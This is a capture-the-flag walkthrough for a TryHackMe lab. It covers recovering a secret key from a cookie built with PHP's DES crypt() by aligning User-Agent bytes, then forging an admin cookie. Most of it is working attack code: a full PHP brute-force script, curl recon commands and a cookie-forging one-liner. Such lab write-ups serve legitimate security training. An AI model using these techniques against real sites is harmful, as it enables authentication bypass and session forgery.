Crypto Failures Walkthrough
Room : https://tryhackme.com/room/cryptofailures#
Summary / Vulnerability in one line#
The application builds a secure_cookie by applying PHP’s crypt() (DES variant) to 8-byte chunks of the string user:USER_AGENT:ENC_SECRET_KEY, concatenating the outputs. Because DES crypt() operates on 8-byte blocks with a short (2-character) salt, you can align attacker-controlled bytes (via User-Agent) so that a single unknown byte of the ENC_SECRET_KEY is isolated in one 8-byte block and brute-forced by comparing crypt() outputs. Once the ENC key is recovered, forge a secure_cookie for user=admin and read the web flag.
Environment & prerequisites#
- TryHackMe attacking VM (or local Linux box)
- Network access to the target (replace
10.10.122.185with your box IP) - Tools installed:
php-cliandphp-curlcurlawk,sed,tr,grepnano/vim(optional)
Install (Debian/Ubuntu):
sudo apt update
sudo apt install -y php-cli php-curl curl
Recon — inspect the target and cookies#
First, request the web root and inspect Set-Cookie headers:
curl -s -D - -A 'testUA' http://10.10.122.185/ -o /dev/null | grep -i '^Set-Cookie'
You should see at least two cookies:
user(defaults togueston the target)secure_cookie(a concatenation ofcrypt()outputs; the first two characters represent the 2-char salt)
Extract the secure_cookie string and the salt (first two characters):
SEC=$(curl -s -D - -A 'testUA' http://10.10.122.185/ -o /dev/null \
| awk -F'Set-Cookie: ' '/secure_cookie/ {print $2}' \
| sed 's/;.*//' | tr -d '\r\n')
echo "secure_cookie from server: $SEC"
# first two chars are salt
SALT=${SEC:0:2}
echo "detected salt: $SALT"
Note: Some servers URL-encode cookie values in the header (you may see
%2Fetc.). Work with the raw cookie string returned above for extracting salt.
Recovering ENC_SECRET_KEY (automation)#
Concept: craft User-Agent strings with lengths that align the unknown bytes of ENC_SECRET_KEY into a single 8-byte block within the plaintext user:USER_AGENT:ENC_SECRET_KEY. For each alignment, try all printable characters and compare the single-block crypt() output with the corresponding substring in secure_cookie until you find a match. Iterate byte-by-byte.
Below is a ready-to-run PHP script (save as recover_key.php). It is derived from the approach used in public writeups and tailored for this room. It does not contain any flags — run it against the target to recover the ENC key.
<?php
// recover_key.php
// USAGE: edit $url and $start_len then run: php recover_key.php
$url = "http://10.10.122.185/"; // <-- target
$start_len = 176; // adjust if needed (multiple of 8 start)
// candidate plaintext characters (printable ASCII)
$payload = " !\"#\$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
$parts_payload = str_split($payload,1);
function get_cookie_from_url($url, $user_agent){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
$response = curl_exec($ch);
if ($response === false) {
fwrite(STDERR, "curl error: " . curl_error($ch) . "\n");
curl_close($ch);
return null;
}
curl_close($ch);
preg_match_all('/^Set-Cookie:\s*(.*)$/mi', $response, $matches);
$cookie_array = [];
if (!empty($matches[1])) {
foreach ($matches[1] as $cookie) {
$cookieParts = explode('=', $cookie, 2);
$cookieValue = explode(';', $cookieParts[1])[0];
$cookie_array[trim($cookieParts[0])] = trim($cookieValue);
}
}
return $cookie_array;
}
$ENC_SECRET_KEY = "";
for ($i = $start_len; $i > 0; $i--) {
if (substr($ENC_SECRET_KEY, -1) == "}") {
break;
}
$user_agent = str_repeat("i", $i);
$cookie_array = get_cookie_from_url($url, $user_agent);
if (!$cookie_array) { fwrite(STDERR, "No cookie returned for UA length $i\n"); continue; }
if (!isset($cookie_array['secure_cookie']) || !isset($cookie_array['user'])) {
fwrite(STDERR, "secure_cookie or user cookie not found for UA length $i\n");
continue;
}
$s_cookie = urldecode($cookie_array['secure_cookie']);
$username = $cookie_array['user'];
$c_string = $username . ":" . $user_agent . ":" . $ENC_SECRET_KEY;
$c_octet_len = count(str_split($c_string,8));
$parts_of_scookie = str_split($s_cookie,13);
$hash = substr($s_cookie, 0, 2);
if (strlen($c_string) % 8 == 7) {
$last7 = substr($c_string, -7);
} else {
$last7 = substr($c_string, -7);
}
$found = false;
foreach ($parts_payload as $p) {
$trial = crypt($last7 . $p, $hash);
if ($parts_of_scookie[$c_octet_len - 1] === $trial) {
echo "Found next character: '$p' (UA length $i)\n";
$ENC_SECRET_KEY .= $p;
$found = true;
break;
}
}
}
echo "\nRecovered ENC_SECRET_KEY (partial/complete): " . $ENC_SECRET_KEY . "\n";
?>
Run:
php recover_key.php
Notes:
- If the script doesn’t find characters, adjust
$start_len(increase or decrease) and re-run. - The script uses printable ASCII as a candidate set; if the key contains non-printables, expand the payload accordingly.
Forging an admin cookie (once ENC key is known)#
Goal: Build secure_cookie for user=admin that matches the server’s verification, then visit the site as admin to reveal the web flag.
Steps
Choose an 8-character User-Agent (we use
AAAAAAAAin examples). It must match in both the cookie-building step and the final request.Extract the server salt from a real cookie (see Recon section). Use it to compute
crypt()outputs.Build the plaintext input used by the server for cookie generation:
UA='AAAAAAAA'
ENC_KEY='REPLACE_WITH_YOUR_RECOVERED_KEY'
TEXT="admin:${UA}:${ENC_KEY}"
- Generate the forged
secure_cookieusing the server salt (example code uses the salt previously extracted into$SALT):
export TEXT SALT
FORGED=$(php -r '
$text = getenv("TEXT");
$salt = getenv("SALT");
$cookie = "";
foreach (str_split($text, 8) as $el) {
$cookie .= crypt($el, $salt);
}
echo $cookie;
')
echo "forged secure_cookie: $FORGED"
- Send a request as
adminwith the forged cookie and the same UA:
curl -s -A "$UA" -H "Cookie: user=admin; secure_cookie=${FORGED}" http://10.10.122.185/ | sed -n '1,200p'
Expected: The site should respond with a successful page that contains the web flag (masked in this writeup). Example (masked):
congrats: THM{ok_you_f0und_w3b_fl4g_********}. Now I want the key.
Important: If the server regenerates a new salt on each request, ensure you fetch the cookie / salt immediately before forging and reuse that same salt to compute the forged cookie.
Submission formats (how TryHackMe expects you to submit)#
What is the value of the web flag?
- Format:
THM{**_***_*****_***_****_*******} - Example (masked):
THM{ok_you_f0und_w3b_fl4g_********}
- Format:
What is the encryption key?
- Format:
THM{...}(longer). - Example (masked):
THM{Tradit*****_Own_Cryp*****_..._********}
- Format:
Do not paste full flags in public or shared writeups. When sharing, mask most of the flag as shown above.
Troubleshooting & common pitfalls#
You are not logged inafter forging- Ensure you used the exact same UA when generating the forged cookie and when sending the request.
- Ensure
$SALTmatches the server’s cookie salt (first two characters of thesecure_cookiethe server issued). - Check whether the server URL-encodes the cookie value — if so, URL-encode your forged cookie before sending.
- Confirm
ENC_KEYis exact and contains no trailing newlines or extra quotes.
crypt()variant mismatch- The writeup targets DES
crypt(); if the target uses a differentcrypt()variant (rare here), the output lengths/format differ. Adjust parsing split sizes accordingly.
- The writeup targets DES
Timing / rate limits
- Brute-force loops may be slow. If the server rate-limits, slow down the loop or run the script from a place that avoids triggering rate limits.
Appendix — Quick commands reference#
# show Set-Cookie headers
curl -s -D - -A 'testUA' http://10.10.122.185/ -o /dev/null | grep -i '^Set-Cookie'
# extract server secure_cookie and salt
SEC=$(curl -s -D - -A 'testUA' http://10.10.122.185/ -o /dev/null \
| awk -F'Set-Cookie: ' '/secure_cookie/ {print $2}' \
| sed 's/;.*//' | tr -d '\r\n')
SALT=${SEC:0:2}
# run the key recovery script
php recover_key.php
# generate forged cookie (after setting TEXT and SALT)
export TEXT SALT
php -r '
$text = getenv("TEXT");
$salt = getenv("SALT");
$cookie = "";
foreach (str_split($text, 8) as $el) { $cookie .= crypt($el, $salt); }
echo $cookie;
'
# final request with forged cookie
curl -s -A "AAAAAAAA" -H "Cookie: user=admin; secure_cookie=${FORGED}" http://10.10.122.185/ | sed -n '1,200p'
Adapted from Jery0843/TryHackMe under MIT.